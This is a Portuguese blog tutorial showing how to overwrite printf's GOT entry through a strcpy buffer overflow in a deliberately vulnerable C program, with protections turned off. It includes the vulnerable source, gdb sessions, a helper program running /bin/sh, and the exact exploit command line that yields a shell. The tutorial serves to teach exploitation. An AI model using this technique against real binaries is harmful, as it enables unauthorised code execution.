Sobreescrevendo a GOT via buffer overflow

Seguindo a ideia proposta no post anterior, veremos neste post uma outra possibilidade de escrever na GOT via um programa vulnerável a buffer overflow.

Nosso programa é simples, veja abaixo:

#include <stdio.h>
#include <string.h>
#include <errno.h>
 
int main(int argc, char **argv) {
        char *pointer = NULL;
        char array[10];
 
        pointer = array;
 
        strcpy(pointer, argv[1]);
        printf("Hello %s!\n", pointer);
        strcpy(pointer, argv[2]);
        printf("Hello %s!\n", pointer);
 
        puts(strerror(errno));
        return 0;
}

Para fazer esse teste iremos desabilitar a proteção da stack na compilação:

$ gcc -fno-stack-protector -ogot got.c

Além disso, desabilitaremos o ASLR. Sim, o ambiente para o teste foi totalmente forçado!

# echo 0 > /proc/sys/kernel/randomize_va_space

A ideia é causar um buffer overflow no primeiro strcpy() de maneira a escrever na variável pointer o endereço na GOT da função printf(). Para daí então na segunda chamada da strcpy() podermos escrever no endereço que agora a variável `pointer' aponta, o endereço de uma função que execute um programa (system ou uma das exec*), usaremos neste exemplo a execv().

Visto que vamos mudar a última chamada da função printf() para executar a execv(), ela irá tentar executar um programa chamado "Hello %s!\n". Então basta criarmos um outro programa fazendo o que desejamos usando este nome!

Bom, vamos à prática! Primeira coisa é pegar o endereço da printf na GOT, para isso, vamos recorrer ao readelf.

$ readelf -r got | grep printf
0804a014  00000607 R_386_JUMP_SLOT   00000000   printf

Pronto, 0x0804a014 é o endereço que precisamos colocar na variável pointer. Agora vamos ver o endereço da execv() no sistema no gdb, e então montar o argumento que passaremos pra ter nosso executável chamado.

$ gdb -q ./got
Reading symbols from /home/felipe/got/got...(no debugging symbols found)...done.
(gdb) r 1 2
Starting program: /home/felipe/got/got 1 2
Hello 1!
Hello 2!
Success
 
Program exited normally.
(gdb) p execv
$1 = {<text variable, no debug info>} 0xb7f121a0 <execv>
 
(gdb) disas main
Dump of assembler code for function main:
...
   0x080484f5 <+49>:	mov    $0x8048620,%eax
   0x080484fa <+54>:	mov    0x1c(%esp),%edx
   0x080484fe <+58>:	mov    %edx,0x4(%esp)
   0x08048502 <+62>:	mov    %eax,(%esp)
   0x08048505 <+65>:	call   0x80483e8 <printf@plt>
...
(gdb) x/i $eip
=> 0x80483e8 <printf@plt>:	jmp    *0x804a014
(gdb) c
Continuing.
Hello 0����!
 
Breakpoint 1, 0x080483e8 in printf@plt ()
(gdb) x/i $eip
=> 0x80483e8 <printf@plt>:	jmp    *0x804a014
(gdb) x/a *0x804a014
0xb7f121a0 <execv>:	0xe869e853

Tendo checado que o endereço 0x0804a014 estava na variável pointer após o overflow na primeira chamada da strcpy(), e passado o endereço da execve() como segundo argumento do executável no GDB, vamos ao nosso segundo programa que será chamado pelo endereço modificado do printf()!

$ cat shell.c 
int main(int argc, char **argv) {
	system("/bin/sh");
	return 0;
}
$ gcc -oa shell.c 
$ mv a "Hello %s!
"

Então só nos resta testar:

$ ./got `perl -e 'print "A" x 10'``printf "\x14\xa0\x04\x08"` `printf "\xa0\x21\xf1\xb7"`
Hello 0����!
$ echo $$
21723
$ # pronto, estamos na shell chamada!
$ exit
$ echo $$
18901

Referência

- http://www.exploit-db.com/papers/13203/

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Lines and paragraphs break automatically.

More information about formatting options